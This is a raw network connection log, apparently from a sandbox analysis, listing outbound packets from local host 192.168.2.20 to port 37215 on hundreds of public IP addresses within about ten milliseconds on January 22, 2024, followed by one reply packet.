Jan 22, 2024 03:59:33.433326006 CET	58015	37215	192.168.2.20	197.163.200.114
Jan 22, 2024 03:59:33.433336973 CET	58015	37215	192.168.2.20	197.236.227.150
Jan 22, 2024 03:59:33.433372021 CET	58015	37215	192.168.2.20	41.61.138.21
Jan 22, 2024 03:59:33.433393955 CET	58015	37215	192.168.2.20	41.241.69.141
Jan 22, 2024 03:59:33.433429003 CET	58015	37215	192.168.2.20	156.243.142.168
Jan 22, 2024 03:59:33.433446884 CET	58015	37215	192.168.2.20	197.187.253.75
Jan 22, 2024 03:59:33.433474064 CET	58015	37215	192.168.2.20	154.101.112.6
Jan 22, 2024 03:59:33.433537006 CET	58015	37215	192.168.2.20	41.232.250.61
Jan 22, 2024 03:59:33.433572054 CET	58015	37215	192.168.2.20	102.156.76.168
Jan 22, 2024 03:59:33.433604002 CET	58015	37215	192.168.2.20	156.191.145.43
Jan 22, 2024 03:59:33.433620930 CET	58015	37215	192.168.2.20	197.79.8.147
Jan 22, 2024 03:59:33.433666945 CET	58015	37215	192.168.2.20	41.178.10.149
Jan 22, 2024 03:59:33.433672905 CET	58015	37215	192.168.2.20	41.215.132.224
Jan 22, 2024 03:59:33.433684111 CET	58015	37215	192.168.2.20	197.7.27.44
Jan 22, 2024 03:59:33.433727980 CET	58015	37215	192.168.2.20	156.233.70.110
Jan 22, 2024 03:59:33.433751106 CET	58015	37215	192.168.2.20	122.231.76.88
Jan 22, 2024 03:59:33.433787107 CET	58015	37215	192.168.2.20	92.242.194.26
Jan 22, 2024 03:59:33.433806896 CET	58015	37215	192.168.2.20	138.222.120.57
Jan 22, 2024 03:59:33.433831930 CET	58015	37215	192.168.2.20	156.64.21.202
Jan 22, 2024 03:59:33.433868885 CET	58015	37215	192.168.2.20	120.36.208.145
Jan 22, 2024 03:59:33.433917999 CET	58015	37215	192.168.2.20	41.78.2.57
Jan 22, 2024 03:59:33.433928013 CET	58015	37215	192.168.2.20	41.36.195.188
Jan 22, 2024 03:59:33.433958054 CET	58015	37215	192.168.2.20	41.166.192.161
Jan 22, 2024 03:59:33.433986902 CET	58015	37215	192.168.2.20	138.118.75.197
Jan 22, 2024 03:59:33.434005976 CET	58015	37215	192.168.2.20	156.60.183.126
Jan 22, 2024 03:59:33.434035063 CET	58015	37215	192.168.2.20	41.153.136.125
Jan 22, 2024 03:59:33.434063911 CET	58015	37215	192.168.2.20	197.48.246.155
Jan 22, 2024 03:59:33.434094906 CET	58015	37215	192.168.2.20	196.71.223.133
Jan 22, 2024 03:59:33.434118986 CET	58015	37215	192.168.2.20	197.0.138.93
Jan 22, 2024 03:59:33.434143066 CET	58015	37215	192.168.2.20	41.109.250.203
Jan 22, 2024 03:59:33.434170008 CET	58015	37215	192.168.2.20	107.190.36.208
Jan 22, 2024 03:59:33.434196949 CET	58015	37215	192.168.2.20	156.65.77.12
Jan 22, 2024 03:59:33.434221983 CET	58015	37215	192.168.2.20	120.101.0.111
Jan 22, 2024 03:59:33.434247017 CET	58015	37215	192.168.2.20	94.206.93.71
Jan 22, 2024 03:59:33.434279919 CET	58015	37215	192.168.2.20	41.23.237.32
Jan 22, 2024 03:59:33.434305906 CET	58015	37215	192.168.2.20	156.76.23.6
Jan 22, 2024 03:59:33.434329033 CET	58015	37215	192.168.2.20	41.111.72.75
Jan 22, 2024 03:59:33.434366941 CET	58015	37215	192.168.2.20	41.212.50.206
Jan 22, 2024 03:59:33.434381962 CET	58015	37215	192.168.2.20	95.229.50.163
Jan 22, 2024 03:59:33.434412003 CET	58015	37215	192.168.2.20	197.148.188.57
Jan 22, 2024 03:59:33.434442043 CET	58015	37215	192.168.2.20	94.81.31.187
Jan 22, 2024 03:59:33.434468031 CET	58015	37215	192.168.2.20	156.238.210.134
Jan 22, 2024 03:59:33.434489965 CET	58015	37215	192.168.2.20	196.141.77.152
Jan 22, 2024 03:59:33.434514999 CET	58015	37215	192.168.2.20	41.240.67.42
Jan 22, 2024 03:59:33.434545994 CET	58015	37215	192.168.2.20	102.14.243.109
Jan 22, 2024 03:59:33.434572935 CET	58015	37215	192.168.2.20	156.148.10.231
Jan 22, 2024 03:59:33.434602976 CET	58015	37215	192.168.2.20	156.53.7.81
Jan 22, 2024 03:59:33.434637070 CET	58015	37215	192.168.2.20	197.142.177.140
Jan 22, 2024 03:59:33.434664011 CET	58015	37215	192.168.2.20	156.24.71.77
Jan 22, 2024 03:59:33.434710979 CET	58015	37215	192.168.2.20	41.234.4.113
Jan 22, 2024 03:59:33.434727907 CET	58015	37215	192.168.2.20	156.167.237.98
Jan 22, 2024 03:59:33.434761047 CET	58015	37215	192.168.2.20	197.16.217.41
Jan 22, 2024 03:59:33.434787035 CET	58015	37215	192.168.2.20	120.198.2.213
Jan 22, 2024 03:59:33.434818983 CET	58015	37215	192.168.2.20	95.110.207.98
Jan 22, 2024 03:59:33.434853077 CET	58015	37215	192.168.2.20	138.77.15.222
Jan 22, 2024 03:59:33.434879065 CET	58015	37215	192.168.2.20	190.192.47.98
Jan 22, 2024 03:59:33.434911013 CET	58015	37215	192.168.2.20	41.6.35.49
Jan 22, 2024 03:59:33.434942961 CET	58015	37215	192.168.2.20	156.146.29.215
Jan 22, 2024 03:59:33.434971094 CET	58015	37215	192.168.2.20	197.199.164.47
Jan 22, 2024 03:59:33.435003996 CET	58015	37215	192.168.2.20	190.172.107.129
Jan 22, 2024 03:59:33.435033083 CET	58015	37215	192.168.2.20	156.51.84.225
Jan 22, 2024 03:59:33.435044050 CET	58015	37215	192.168.2.20	156.205.178.213
Jan 22, 2024 03:59:33.435075045 CET	58015	37215	192.168.2.20	156.18.91.83
Jan 22, 2024 03:59:33.435100079 CET	58015	37215	192.168.2.20	41.242.81.146
Jan 22, 2024 03:59:33.435131073 CET	58015	37215	192.168.2.20	94.153.230.72
Jan 22, 2024 03:59:33.435151100 CET	58015	37215	192.168.2.20	156.110.219.194
Jan 22, 2024 03:59:33.435179949 CET	58015	37215	192.168.2.20	138.207.177.233
Jan 22, 2024 03:59:33.435208082 CET	58015	37215	192.168.2.20	41.51.199.4
Jan 22, 2024 03:59:33.435237885 CET	58015	37215	192.168.2.20	197.124.1.62
Jan 22, 2024 03:59:33.435266972 CET	58015	37215	192.168.2.20	197.250.213.178
Jan 22, 2024 03:59:33.435305119 CET	58015	37215	192.168.2.20	222.112.122.89
Jan 22, 2024 03:59:33.435312033 CET	58015	37215	192.168.2.20	94.118.96.147
Jan 22, 2024 03:59:33.435338974 CET	58015	37215	192.168.2.20	197.160.35.5
Jan 22, 2024 03:59:33.435369015 CET	58015	37215	192.168.2.20	197.202.8.98
Jan 22, 2024 03:59:33.435399055 CET	58015	37215	192.168.2.20	197.122.195.172
Jan 22, 2024 03:59:33.435420036 CET	58015	37215	192.168.2.20	156.19.190.82
Jan 22, 2024 03:59:33.435446024 CET	58015	37215	192.168.2.20	156.185.32.225
Jan 22, 2024 03:59:33.435478926 CET	58015	37215	192.168.2.20	197.16.50.89
Jan 22, 2024 03:59:33.435509920 CET	58015	37215	192.168.2.20	197.231.174.32
Jan 22, 2024 03:59:33.435525894 CET	58015	37215	192.168.2.20	197.32.98.167
Jan 22, 2024 03:59:33.435561895 CET	58015	37215	192.168.2.20	197.252.138.7
Jan 22, 2024 03:59:33.435580969 CET	58015	37215	192.168.2.20	196.64.12.75
Jan 22, 2024 03:59:33.435610056 CET	58015	37215	192.168.2.20	154.86.61.209
Jan 22, 2024 03:59:33.435641050 CET	58015	37215	192.168.2.20	156.142.0.115
Jan 22, 2024 03:59:33.435668945 CET	58015	37215	192.168.2.20	41.243.217.83
Jan 22, 2024 03:59:33.435703993 CET	58015	37215	192.168.2.20	197.104.167.91
Jan 22, 2024 03:59:33.435739040 CET	58015	37215	192.168.2.20	197.130.207.129
Jan 22, 2024 03:59:33.435798883 CET	58015	37215	192.168.2.20	107.201.125.158
Jan 22, 2024 03:59:33.435798883 CET	58015	37215	192.168.2.20	197.128.195.28
Jan 22, 2024 03:59:33.435826063 CET	58015	37215	192.168.2.20	196.179.19.120
Jan 22, 2024 03:59:33.435847044 CET	58015	37215	192.168.2.20	222.84.47.237
Jan 22, 2024 03:59:33.435883045 CET	58015	37215	192.168.2.20	197.158.250.25
Jan 22, 2024 03:59:33.435908079 CET	58015	37215	192.168.2.20	156.70.68.204
Jan 22, 2024 03:59:33.435936928 CET	58015	37215	192.168.2.20	181.0.123.170
Jan 22, 2024 03:59:33.435971975 CET	58015	37215	192.168.2.20	156.1.148.98
Jan 22, 2024 03:59:33.436007977 CET	58015	37215	192.168.2.20	197.156.147.153
Jan 22, 2024 03:59:33.436031103 CET	58015	37215	192.168.2.20	157.159.247.217
Jan 22, 2024 03:59:33.436041117 CET	58015	37215	192.168.2.20	138.18.111.228
Jan 22, 2024 03:59:33.436070919 CET	58015	37215	192.168.2.20	41.4.76.188
Jan 22, 2024 03:59:33.436095953 CET	58015	37215	192.168.2.20	92.123.190.125
Jan 22, 2024 03:59:33.436122894 CET	58015	37215	192.168.2.20	197.112.78.39
Jan 22, 2024 03:59:33.436151981 CET	58015	37215	192.168.2.20	196.50.229.157
Jan 22, 2024 03:59:33.436184883 CET	58015	37215	192.168.2.20	41.96.120.181
Jan 22, 2024 03:59:33.436207056 CET	58015	37215	192.168.2.20	94.178.106.123
Jan 22, 2024 03:59:33.436232090 CET	58015	37215	192.168.2.20	41.97.127.87
Jan 22, 2024 03:59:33.436265945 CET	58015	37215	192.168.2.20	41.12.210.220
Jan 22, 2024 03:59:33.436302900 CET	58015	37215	192.168.2.20	156.29.107.146
Jan 22, 2024 03:59:33.436314106 CET	58015	37215	192.168.2.20	41.92.206.68
Jan 22, 2024 03:59:33.436347008 CET	58015	37215	192.168.2.20	37.53.244.166
Jan 22, 2024 03:59:33.436371088 CET	58015	37215	192.168.2.20	160.25.149.193
Jan 22, 2024 03:59:33.436400890 CET	58015	37215	192.168.2.20	160.228.138.145
Jan 22, 2024 03:59:33.436422110 CET	58015	37215	192.168.2.20	120.80.204.137
Jan 22, 2024 03:59:33.436455011 CET	58015	37215	192.168.2.20	156.23.133.118
Jan 22, 2024 03:59:33.436477900 CET	58015	37215	192.168.2.20	41.38.100.204
Jan 22, 2024 03:59:33.436512947 CET	58015	37215	192.168.2.20	156.115.86.67
Jan 22, 2024 03:59:33.436537981 CET	58015	37215	192.168.2.20	138.12.151.24
Jan 22, 2024 03:59:33.436578989 CET	58015	37215	192.168.2.20	138.118.50.69
Jan 22, 2024 03:59:33.436583996 CET	58015	37215	192.168.2.20	197.38.231.91
Jan 22, 2024 03:59:33.436618090 CET	58015	37215	192.168.2.20	181.194.88.246
Jan 22, 2024 03:59:33.436635971 CET	58015	37215	192.168.2.20	197.192.92.127
Jan 22, 2024 03:59:33.436676025 CET	58015	37215	192.168.2.20	122.202.82.252
Jan 22, 2024 03:59:33.436711073 CET	58015	37215	192.168.2.20	197.148.31.173
Jan 22, 2024 03:59:33.436718941 CET	58015	37215	192.168.2.20	156.29.211.156
Jan 22, 2024 03:59:33.436750889 CET	58015	37215	192.168.2.20	121.141.62.190
Jan 22, 2024 03:59:33.436785936 CET	58015	37215	192.168.2.20	186.225.84.217
Jan 22, 2024 03:59:33.436824083 CET	58015	37215	192.168.2.20	120.103.252.48
Jan 22, 2024 03:59:33.436856031 CET	58015	37215	192.168.2.20	156.248.115.19
Jan 22, 2024 03:59:33.436878920 CET	58015	37215	192.168.2.20	197.235.188.163
Jan 22, 2024 03:59:33.436903000 CET	58015	37215	192.168.2.20	156.156.99.127
Jan 22, 2024 03:59:33.436933994 CET	58015	37215	192.168.2.20	120.140.206.200
Jan 22, 2024 03:59:33.436968088 CET	58015	37215	192.168.2.20	156.177.224.208
Jan 22, 2024 03:59:33.436988115 CET	58015	37215	192.168.2.20	197.219.8.215
Jan 22, 2024 03:59:33.437022924 CET	58015	37215	192.168.2.20	122.44.157.89
Jan 22, 2024 03:59:33.437045097 CET	58015	37215	192.168.2.20	156.34.200.12
Jan 22, 2024 03:59:33.437074900 CET	58015	37215	192.168.2.20	37.142.14.170
Jan 22, 2024 03:59:33.437104940 CET	58015	37215	192.168.2.20	122.201.8.8
Jan 22, 2024 03:59:33.437134027 CET	58015	37215	192.168.2.20	197.109.83.161
Jan 22, 2024 03:59:33.437149048 CET	58015	37215	192.168.2.20	41.24.200.174
Jan 22, 2024 03:59:33.437186003 CET	58015	37215	192.168.2.20	157.154.244.128
Jan 22, 2024 03:59:33.437206984 CET	58015	37215	192.168.2.20	197.126.13.127
Jan 22, 2024 03:59:33.437239885 CET	58015	37215	192.168.2.20	156.145.192.112
Jan 22, 2024 03:59:33.437263966 CET	58015	37215	192.168.2.20	190.138.73.243
Jan 22, 2024 03:59:33.437284946 CET	58015	37215	192.168.2.20	197.89.240.16
Jan 22, 2024 03:59:33.437319994 CET	58015	37215	192.168.2.20	197.215.210.174
Jan 22, 2024 03:59:33.437355042 CET	58015	37215	192.168.2.20	92.130.147.126
Jan 22, 2024 03:59:33.437392950 CET	58015	37215	192.168.2.20	222.8.216.105
Jan 22, 2024 03:59:33.437397957 CET	58015	37215	192.168.2.20	41.9.199.113
Jan 22, 2024 03:59:33.437422037 CET	58015	37215	192.168.2.20	37.19.148.41
Jan 22, 2024 03:59:33.437446117 CET	58015	37215	192.168.2.20	94.214.44.207
Jan 22, 2024 03:59:33.437470913 CET	58015	37215	192.168.2.20	197.169.235.156
Jan 22, 2024 03:59:33.437508106 CET	58015	37215	192.168.2.20	156.162.197.107
Jan 22, 2024 03:59:33.437530041 CET	58015	37215	192.168.2.20	122.237.119.41
Jan 22, 2024 03:59:33.437556028 CET	58015	37215	192.168.2.20	41.253.114.16
Jan 22, 2024 03:59:33.437587023 CET	58015	37215	192.168.2.20	186.248.91.178
Jan 22, 2024 03:59:33.437608004 CET	58015	37215	192.168.2.20	94.208.248.235
Jan 22, 2024 03:59:33.437632084 CET	58015	37215	192.168.2.20	197.19.85.130
Jan 22, 2024 03:59:33.437668085 CET	58015	37215	192.168.2.20	102.158.194.67
Jan 22, 2024 03:59:33.437690973 CET	58015	37215	192.168.2.20	156.140.205.89
Jan 22, 2024 03:59:33.437715054 CET	58015	37215	192.168.2.20	160.241.174.9
Jan 22, 2024 03:59:33.437746048 CET	58015	37215	192.168.2.20	45.153.169.149
Jan 22, 2024 03:59:33.437777042 CET	58015	37215	192.168.2.20	41.215.200.67
Jan 22, 2024 03:59:33.437797070 CET	58015	37215	192.168.2.20	186.251.59.36
Jan 22, 2024 03:59:33.437834978 CET	58015	37215	192.168.2.20	41.248.250.206
Jan 22, 2024 03:59:33.437865019 CET	58015	37215	192.168.2.20	160.104.253.26
Jan 22, 2024 03:59:33.437901020 CET	58015	37215	192.168.2.20	107.175.58.37
Jan 22, 2024 03:59:33.437941074 CET	58015	37215	192.168.2.20	156.43.239.99
Jan 22, 2024 03:59:33.437966108 CET	58015	37215	192.168.2.20	196.170.247.117
Jan 22, 2024 03:59:33.437994003 CET	58015	37215	192.168.2.20	190.171.224.86
Jan 22, 2024 03:59:33.438035011 CET	58015	37215	192.168.2.20	197.134.104.131
Jan 22, 2024 03:59:33.438055992 CET	58015	37215	192.168.2.20	95.29.6.3
Jan 22, 2024 03:59:33.438085079 CET	58015	37215	192.168.2.20	197.135.155.224
Jan 22, 2024 03:59:33.438117981 CET	58015	37215	192.168.2.20	37.59.154.27
Jan 22, 2024 03:59:33.438136101 CET	58015	37215	192.168.2.20	197.142.42.252
Jan 22, 2024 03:59:33.438169956 CET	58015	37215	192.168.2.20	156.141.134.229
Jan 22, 2024 03:59:33.438196898 CET	58015	37215	192.168.2.20	121.31.214.31
Jan 22, 2024 03:59:33.438225031 CET	58015	37215	192.168.2.20	197.195.83.244
Jan 22, 2024 03:59:33.438249111 CET	58015	37215	192.168.2.20	120.87.124.111
Jan 22, 2024 03:59:33.438270092 CET	58015	37215	192.168.2.20	41.229.58.0
Jan 22, 2024 03:59:33.438306093 CET	58015	37215	192.168.2.20	41.247.2.185
Jan 22, 2024 03:59:33.438329935 CET	58015	37215	192.168.2.20	160.130.168.158
Jan 22, 2024 03:59:33.438358068 CET	58015	37215	192.168.2.20	197.192.123.255
Jan 22, 2024 03:59:33.438380003 CET	58015	37215	192.168.2.20	92.103.220.135
Jan 22, 2024 03:59:33.438409090 CET	58015	37215	192.168.2.20	160.203.101.16
Jan 22, 2024 03:59:33.438438892 CET	58015	37215	192.168.2.20	154.20.196.88
Jan 22, 2024 03:59:33.438466072 CET	58015	37215	192.168.2.20	197.95.93.190
Jan 22, 2024 03:59:33.438493013 CET	58015	37215	192.168.2.20	222.66.255.215
Jan 22, 2024 03:59:33.438513041 CET	58015	37215	192.168.2.20	156.125.23.60
Jan 22, 2024 03:59:33.438543081 CET	58015	37215	192.168.2.20	138.198.198.141
Jan 22, 2024 03:59:33.438565969 CET	58015	37215	192.168.2.20	197.66.124.125
Jan 22, 2024 03:59:33.438596010 CET	58015	37215	192.168.2.20	94.152.48.2
Jan 22, 2024 03:59:33.438621044 CET	58015	37215	192.168.2.20	94.13.189.102
Jan 22, 2024 03:59:33.438652992 CET	58015	37215	192.168.2.20	156.131.160.171
Jan 22, 2024 03:59:33.438679934 CET	58015	37215	192.168.2.20	197.151.254.133
Jan 22, 2024 03:59:33.438698053 CET	58015	37215	192.168.2.20	41.112.142.55
Jan 22, 2024 03:59:33.438731909 CET	58015	37215	192.168.2.20	156.48.29.80
Jan 22, 2024 03:59:33.438752890 CET	58015	37215	192.168.2.20	156.207.36.62
Jan 22, 2024 03:59:33.438780069 CET	58015	37215	192.168.2.20	156.85.246.4
Jan 22, 2024 03:59:33.438806057 CET	58015	37215	192.168.2.20	160.231.193.15
Jan 22, 2024 03:59:33.438838959 CET	58015	37215	192.168.2.20	41.234.121.216
Jan 22, 2024 03:59:33.438858032 CET	58015	37215	192.168.2.20	138.0.6.171
Jan 22, 2024 03:59:33.438893080 CET	58015	37215	192.168.2.20	156.0.186.232
Jan 22, 2024 03:59:33.438929081 CET	58015	37215	192.168.2.20	41.4.69.94
Jan 22, 2024 03:59:33.438960075 CET	58015	37215	192.168.2.20	41.146.222.59
Jan 22, 2024 03:59:33.438994884 CET	58015	37215	192.168.2.20	138.244.10.216
Jan 22, 2024 03:59:33.439023972 CET	58015	37215	192.168.2.20	41.95.195.105
Jan 22, 2024 03:59:33.439047098 CET	58015	37215	192.168.2.20	197.164.241.208
Jan 22, 2024 03:59:33.439074039 CET	58015	37215	192.168.2.20	41.105.181.18
Jan 22, 2024 03:59:33.439110994 CET	58015	37215	192.168.2.20	222.131.106.218
Jan 22, 2024 03:59:33.439140081 CET	58015	37215	192.168.2.20	41.49.220.101
Jan 22, 2024 03:59:33.439166069 CET	58015	37215	192.168.2.20	197.99.179.195
Jan 22, 2024 03:59:33.439186096 CET	58015	37215	192.168.2.20	41.251.180.40
Jan 22, 2024 03:59:33.439217091 CET	58015	37215	192.168.2.20	196.16.27.182
Jan 22, 2024 03:59:33.439251900 CET	58015	37215	192.168.2.20	121.246.238.178
Jan 22, 2024 03:59:33.439264059 CET	58015	37215	192.168.2.20	156.142.116.46
Jan 22, 2024 03:59:33.439296007 CET	58015	37215	192.168.2.20	156.98.180.155
Jan 22, 2024 03:59:33.439342022 CET	58015	37215	192.168.2.20	41.212.43.85
Jan 22, 2024 03:59:33.439348936 CET	58015	37215	192.168.2.20	41.140.65.143
Jan 22, 2024 03:59:33.439377069 CET	58015	37215	192.168.2.20	156.94.36.113
Jan 22, 2024 03:59:33.439400911 CET	58015	37215	192.168.2.20	156.62.16.242
Jan 22, 2024 03:59:33.439429045 CET	58015	37215	192.168.2.20	156.71.253.205
Jan 22, 2024 03:59:33.439460993 CET	58015	37215	192.168.2.20	197.208.245.197
Jan 22, 2024 03:59:33.439481974 CET	58015	37215	192.168.2.20	156.181.216.8
Jan 22, 2024 03:59:33.439512968 CET	58015	37215	192.168.2.20	41.153.166.212
Jan 22, 2024 03:59:33.439539909 CET	58015	37215	192.168.2.20	41.1.21.98
Jan 22, 2024 03:59:33.439558983 CET	58015	37215	192.168.2.20	197.196.206.215
Jan 22, 2024 03:59:33.439594030 CET	58015	37215	192.168.2.20	154.10.27.196
Jan 22, 2024 03:59:33.439619064 CET	58015	37215	192.168.2.20	156.218.132.75
Jan 22, 2024 03:59:33.439641953 CET	58015	37215	192.168.2.20	156.136.190.151
Jan 22, 2024 03:59:33.439675093 CET	58015	37215	192.168.2.20	41.4.221.18
Jan 22, 2024 03:59:33.439694881 CET	58015	37215	192.168.2.20	186.29.0.57
Jan 22, 2024 03:59:33.439727068 CET	58015	37215	192.168.2.20	41.113.190.223
Jan 22, 2024 03:59:33.439753056 CET	58015	37215	192.168.2.20	181.185.127.67
Jan 22, 2024 03:59:33.439774990 CET	58015	37215	192.168.2.20	156.58.125.180
Jan 22, 2024 03:59:33.439802885 CET	58015	37215	192.168.2.20	156.134.230.221
Jan 22, 2024 03:59:33.439831972 CET	58015	37215	192.168.2.20	156.213.208.199
Jan 22, 2024 03:59:33.439857960 CET	58015	37215	192.168.2.20	122.171.132.146
Jan 22, 2024 03:59:33.439887047 CET	58015	37215	192.168.2.20	160.148.227.157
Jan 22, 2024 03:59:33.439908981 CET	58015	37215	192.168.2.20	138.240.225.11
Jan 22, 2024 03:59:33.439963102 CET	58015	37215	192.168.2.20	41.8.134.188
Jan 22, 2024 03:59:33.439973116 CET	58015	37215	192.168.2.20	41.158.37.220
Jan 22, 2024 03:59:33.439999104 CET	58015	37215	192.168.2.20	197.3.26.245
Jan 22, 2024 03:59:33.440032005 CET	58015	37215	192.168.2.20	41.160.244.94
Jan 22, 2024 03:59:33.440068960 CET	58015	37215	192.168.2.20	154.36.69.54
Jan 22, 2024 03:59:33.440093994 CET	58015	37215	192.168.2.20	95.71.71.83
Jan 22, 2024 03:59:33.440124035 CET	58015	37215	192.168.2.20	186.71.5.244
Jan 22, 2024 03:59:33.440148115 CET	58015	37215	192.168.2.20	41.81.127.3
Jan 22, 2024 03:59:33.440186977 CET	58015	37215	192.168.2.20	156.28.100.38
Jan 22, 2024 03:59:33.440212965 CET	58015	37215	192.168.2.20	197.74.79.222
Jan 22, 2024 03:59:33.440246105 CET	58015	37215	192.168.2.20	197.140.50.169
Jan 22, 2024 03:59:33.440258980 CET	58015	37215	192.168.2.20	122.118.239.116
Jan 22, 2024 03:59:33.440294981 CET	58015	37215	192.168.2.20	222.81.254.145
Jan 22, 2024 03:59:33.440311909 CET	58015	37215	192.168.2.20	197.197.213.196
Jan 22, 2024 03:59:33.440351009 CET	58015	37215	192.168.2.20	41.66.100.81
Jan 22, 2024 03:59:33.440366983 CET	58015	37215	192.168.2.20	156.145.51.134
Jan 22, 2024 03:59:33.440391064 CET	58015	37215	192.168.2.20	41.78.123.134
Jan 22, 2024 03:59:33.440427065 CET	58015	37215	192.168.2.20	156.92.46.26
Jan 22, 2024 03:59:33.440448999 CET	58015	37215	192.168.2.20	197.171.253.223
Jan 22, 2024 03:59:33.440488100 CET	58015	37215	192.168.2.20	41.183.67.246
Jan 22, 2024 03:59:33.440511942 CET	58015	37215	192.168.2.20	156.26.68.196
Jan 22, 2024 03:59:33.440536976 CET	58015	37215	192.168.2.20	197.192.180.227
Jan 22, 2024 03:59:33.440566063 CET	58015	37215	192.168.2.20	156.158.70.39
Jan 22, 2024 03:59:33.440607071 CET	58015	37215	192.168.2.20	156.34.92.15
Jan 22, 2024 03:59:33.440643072 CET	58015	37215	192.168.2.20	95.135.252.247
Jan 22, 2024 03:59:33.440670013 CET	58015	37215	192.168.2.20	156.234.240.163
Jan 22, 2024 03:59:33.440691948 CET	58015	37215	192.168.2.20	107.252.115.225
Jan 22, 2024 03:59:33.440718889 CET	58015	37215	192.168.2.20	186.112.49.116
Jan 22, 2024 03:59:33.440746069 CET	58015	37215	192.168.2.20	41.41.162.31
Jan 22, 2024 03:59:33.440783024 CET	58015	37215	192.168.2.20	41.137.158.228
Jan 22, 2024 03:59:33.440804005 CET	58015	37215	192.168.2.20	41.159.40.196
Jan 22, 2024 03:59:33.440829039 CET	58015	37215	192.168.2.20	156.37.82.144
Jan 22, 2024 03:59:33.440856934 CET	58015	37215	192.168.2.20	156.205.107.157
Jan 22, 2024 03:59:33.440877914 CET	58015	37215	192.168.2.20	102.127.218.245
Jan 22, 2024 03:59:33.440916061 CET	58015	37215	192.168.2.20	160.92.121.62
Jan 22, 2024 03:59:33.440942049 CET	58015	37215	192.168.2.20	41.185.168.36
Jan 22, 2024 03:59:33.440968037 CET	58015	37215	192.168.2.20	197.223.181.180
Jan 22, 2024 03:59:33.440989017 CET	58015	37215	192.168.2.20	41.159.3.234
Jan 22, 2024 03:59:33.441021919 CET	58015	37215	192.168.2.20	122.80.86.212
Jan 22, 2024 03:59:33.441047907 CET	58015	37215	192.168.2.20	156.0.211.54
Jan 22, 2024 03:59:33.441085100 CET	58015	37215	192.168.2.20	156.15.242.246
Jan 22, 2024 03:59:33.441123009 CET	58015	37215	192.168.2.20	197.130.61.252
Jan 22, 2024 03:59:33.441144943 CET	58015	37215	192.168.2.20	120.158.19.95
Jan 22, 2024 03:59:33.441167116 CET	58015	37215	192.168.2.20	92.86.174.254
Jan 22, 2024 03:59:33.441204071 CET	58015	37215	192.168.2.20	94.87.36.86
Jan 22, 2024 03:59:33.441236019 CET	58015	37215	192.168.2.20	156.164.219.121
Jan 22, 2024 03:59:33.441258907 CET	58015	37215	192.168.2.20	41.67.25.15
Jan 22, 2024 03:59:33.441283941 CET	58015	37215	192.168.2.20	156.169.234.183
Jan 22, 2024 03:59:33.441308022 CET	58015	37215	192.168.2.20	41.74.227.7
Jan 22, 2024 03:59:33.441334009 CET	58015	37215	192.168.2.20	157.201.11.166
Jan 22, 2024 03:59:33.441371918 CET	58015	37215	192.168.2.20	45.163.157.211
Jan 22, 2024 03:59:33.441391945 CET	58015	37215	192.168.2.20	197.180.148.253
Jan 22, 2024 03:59:33.441415071 CET	58015	37215	192.168.2.20	181.149.169.190
Jan 22, 2024 03:59:33.441448927 CET	58015	37215	192.168.2.20	120.207.13.167
Jan 22, 2024 03:59:33.441481113 CET	58015	37215	192.168.2.20	156.131.116.220
Jan 22, 2024 03:59:33.441514969 CET	58015	37215	192.168.2.20	156.104.144.129
Jan 22, 2024 03:59:33.441534996 CET	58015	37215	192.168.2.20	156.245.95.170
Jan 22, 2024 03:59:33.441555023 CET	58015	37215	192.168.2.20	41.27.232.236
Jan 22, 2024 03:59:33.441584110 CET	58015	37215	192.168.2.20	41.89.38.214
Jan 22, 2024 03:59:33.441610098 CET	58015	37215	192.168.2.20	41.84.81.212
Jan 22, 2024 03:59:33.441642046 CET	58015	37215	192.168.2.20	154.250.131.63
Jan 22, 2024 03:59:33.441665888 CET	58015	37215	192.168.2.20	37.164.17.58
Jan 22, 2024 03:59:33.441694975 CET	58015	37215	192.168.2.20	41.66.7.241
Jan 22, 2024 03:59:33.441721916 CET	58015	37215	192.168.2.20	197.97.218.148
Jan 22, 2024 03:59:33.441739082 CET	58015	37215	192.168.2.20	92.162.251.193
Jan 22, 2024 03:59:33.441783905 CET	58015	37215	192.168.2.20	138.121.62.173
Jan 22, 2024 03:59:33.441792965 CET	58015	37215	192.168.2.20	45.103.227.28
Jan 22, 2024 03:59:33.441823006 CET	58015	37215	192.168.2.20	156.74.81.129
Jan 22, 2024 03:59:33.441852093 CET	58015	37215	192.168.2.20	222.12.128.15
Jan 22, 2024 03:59:33.441880941 CET	58015	37215	192.168.2.20	45.53.94.64
Jan 22, 2024 03:59:33.441915035 CET	58015	37215	192.168.2.20	102.199.63.108
Jan 22, 2024 03:59:33.441937923 CET	58015	37215	192.168.2.20	156.129.28.137
Jan 22, 2024 03:59:33.441963911 CET	58015	37215	192.168.2.20	156.190.136.134
Jan 22, 2024 03:59:33.441987991 CET	58015	37215	192.168.2.20	156.249.91.181
Jan 22, 2024 03:59:33.442028046 CET	58015	37215	192.168.2.20	197.202.164.179
Jan 22, 2024 03:59:33.442054033 CET	58015	37215	192.168.2.20	41.188.55.71
Jan 22, 2024 03:59:33.442092896 CET	58015	37215	192.168.2.20	197.108.65.241
Jan 22, 2024 03:59:33.442109108 CET	58015	37215	192.168.2.20	157.25.241.237
Jan 22, 2024 03:59:33.442136049 CET	58015	37215	192.168.2.20	197.128.110.244
Jan 22, 2024 03:59:33.442173004 CET	58015	37215	192.168.2.20	41.54.72.75
Jan 22, 2024 03:59:33.442198038 CET	58015	37215	192.168.2.20	197.43.64.187
Jan 22, 2024 03:59:33.442225933 CET	58015	37215	192.168.2.20	181.114.82.162
Jan 22, 2024 03:59:33.442253113 CET	58015	37215	192.168.2.20	197.81.64.155
Jan 22, 2024 03:59:33.442282915 CET	58015	37215	192.168.2.20	156.2.71.172
Jan 22, 2024 03:59:33.442306995 CET	58015	37215	192.168.2.20	156.115.104.84
Jan 22, 2024 03:59:33.442338943 CET	58015	37215	192.168.2.20	37.92.186.94
Jan 22, 2024 03:59:33.442368984 CET	58015	37215	192.168.2.20	154.204.106.76
Jan 22, 2024 03:59:33.442394018 CET	58015	37215	192.168.2.20	197.38.150.89
Jan 22, 2024 03:59:33.442420006 CET	58015	37215	192.168.2.20	156.82.221.165
Jan 22, 2024 03:59:33.442440033 CET	58015	37215	192.168.2.20	41.162.55.191
Jan 22, 2024 03:59:33.442466974 CET	58015	37215	192.168.2.20	197.228.139.226
Jan 22, 2024 03:59:33.442496061 CET	58015	37215	192.168.2.20	41.173.85.165
Jan 22, 2024 03:59:33.442523956 CET	58015	37215	192.168.2.20	156.3.104.214
Jan 22, 2024 03:59:33.442548990 CET	58015	37215	192.168.2.20	41.219.218.144
Jan 22, 2024 03:59:33.442564011 CET	37215	58015	45.181.229.224	192.168.2.20
